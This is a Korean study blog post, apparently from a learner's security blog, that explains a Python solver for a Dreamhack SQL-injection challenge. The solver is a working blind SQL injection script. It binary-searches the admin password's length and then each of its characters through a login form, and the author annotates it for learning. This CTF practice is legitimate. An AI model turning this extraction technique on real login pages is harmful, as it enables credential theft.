공격코드 참조
https://learn.dreamhack.io/175#6
로그인 | Dreamhack
dreamhack.io
공격코드(이전에 올렸던 패스워드 길이 파악 코드를 이해할 수 있다면 쉽게 이해할 수 있을 것 같다.)
이전에 올렸던 패스워드 길이 파악 글에서 _find_password 메소드만 추가되었으므로 이 메소드에 대한 것만 다루겠다.
참고로 여기있는 글을 복사해서 실행하면 들여쓰기 문제 때문에 실행이 안된다.
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host3.dreamhack.games:{port}/login"
""" 위와 같이 코드를 변경해 줘야 dreamhack문제에서 답을 구할 수 있다."""
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = { "userid": userid, "userpassword": userpassword }
resp = requests.post(self._login_url, data=login_data)
return resp # base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ''
for idx in range(1, pw_len+1):
"""1부터 pw_len+1까지 반복. idx에는 1부터 pw_len+1까지 숫자가 들어감."""
query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
"""SUBSTR(str, pos, len) ←str에서 pos번째 위치로부터 len길이만큼 문자를 읽음."""
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
"""chr ←아스키코드를 이용해 정수값을 문자로 바꿈"""
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
참고한 사이트
https://araikuma.tistory.com/521
[SQL][함수] Substring : 문자열 일부 추출
SQL에서 함수 substring은 하나의 필드 데이터의 일부를 읽는데 사용된다. 데이터베이스에 의해 이 함수명이 다르다.MySQL : SUBSTR(), SUBSTRING()Oracle : SUBSTR()SQL Server : SUBSTRING()일반적으로 사용되는 경우
araikuma.tistory.com
https://blockdmask.tistory.com/544
[python] 파이썬 ord 함수, chr 함수 설명과 예제
안녕하세요. BlockDMask입니다. 오늘은 아스키코드 변환하는 함수인 ord, chr 함수에 대해서 알아보겠습니다. 1. ord 함수, chr 함수 설명 2. ord 함수, chr 함수 예제 1. 파이썬 ord 함수, chr 함수 기본 설명 2
blockdmask.tistory.com
https://devpouch.tistory.com/70
[Python] 파이썬 range 함수 사용법
파이썬의 range함수는 특정 구간의 숫자의 범위를 만들어주는 함수입니다. 이 함수를 이용하면 특정 횟수 만큼 반복하는 반복문을 만들기 유용합니다. range함수 사용법 range함수 매개변수에 숫자
devpouch.tistory.com
range함수도 몰랐다. 반성하자
'WEB > 공부' 카테고리의 다른 글
HTML 문법 정리 (2) | 2023.02.26 |
---|---|
SQL Injection : MySQL System Table (dreamhack) (0) | 2023.02.09 |